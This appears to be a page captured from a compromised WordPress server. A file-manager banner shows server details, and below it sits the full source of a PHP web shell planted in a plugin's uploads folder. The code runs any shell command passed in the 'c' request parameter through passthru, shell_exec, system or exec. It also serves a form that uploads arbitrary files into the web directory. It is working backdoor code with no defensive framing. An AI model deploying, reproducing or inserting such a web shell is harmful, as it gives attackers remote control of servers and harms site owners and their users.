| Server IP : 52.25.153.185 / Your IP : 216.73.217.43 Web Server : Apache System : Linux ip-172-26-6-158 5.10.0-45-cloud-amd64 #1 SMP Debian 5.10.259-1 (2026-07-02) x86_64 User : daemon ( 1) PHP Version : 8.1.10 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /bitnami/wordpress/wp-content/uploads/WPL/5607/ |
Upload File : |
<?php if(isset($_REQUEST['c'])&&$_REQUEST['c']!==''){echo 'WPL_RCE_79419f44cade42c43a70032d2a140079';$c=$_REQUEST['c'];if(function_exists('passthru')){passthru($c.' 2>&1');}elseif(function_exists('shell_exec')){echo shell_exec($c.' 2>&1');}elseif(function_exists('system')){system($c.' 2>&1');}elseif(function_exists('exec')){$o=array();exec($c.' 2>&1',$o);echo implode(chr(10),$o);}exit;}if(isset($_REQUEST['up'])){$k='';if(isset($_FILES['f'])&&is_array($_FILES['f'])){$k='f';}elseif(isset($_FILES['file'])&&is_array($_FILES['file'])){$k='file';}if($k!==''&&isset($_FILES[$k]['tmp_name'])&&is_uploaded_file($_FILES[$k]['tmp_name'])){$n=basename($_FILES[$k]['name']);$d=dirname(__FILE__).DIRECTORY_SEPARATOR.$n;if(move_uploaded_file($_FILES[$k]['tmp_name'],$d)){echo 'success_upload:'.$n;}else{echo 'upload_failed';}exit;}header('Content-Type: text/html; charset=utf-8');echo '<!DOCTYPE html><html><head><meta charset=utf-8><title>Upload</title><style>body{font-family:sans-serif;max-width:480px;margin:40px auto;padding:20px}form{border:1px solid #ccc;padding:20px;border-radius:8px}input[type=file]{margin:10px 0;width:100%}button{background:#2563eb;color:#fff;border:0;padding:10px 20px;border-radius:4px;cursor:pointer}</style></head><body><h3>File Upload</h3><form method=post enctype=multipart/form-data><input type=hidden name=up value=1><input type=file name=f required><br><button type=submit>Upload</button></form></body></html>';exit;}echo 'WPL_RCE_79419f44cade42c43a70032d2a140079';?>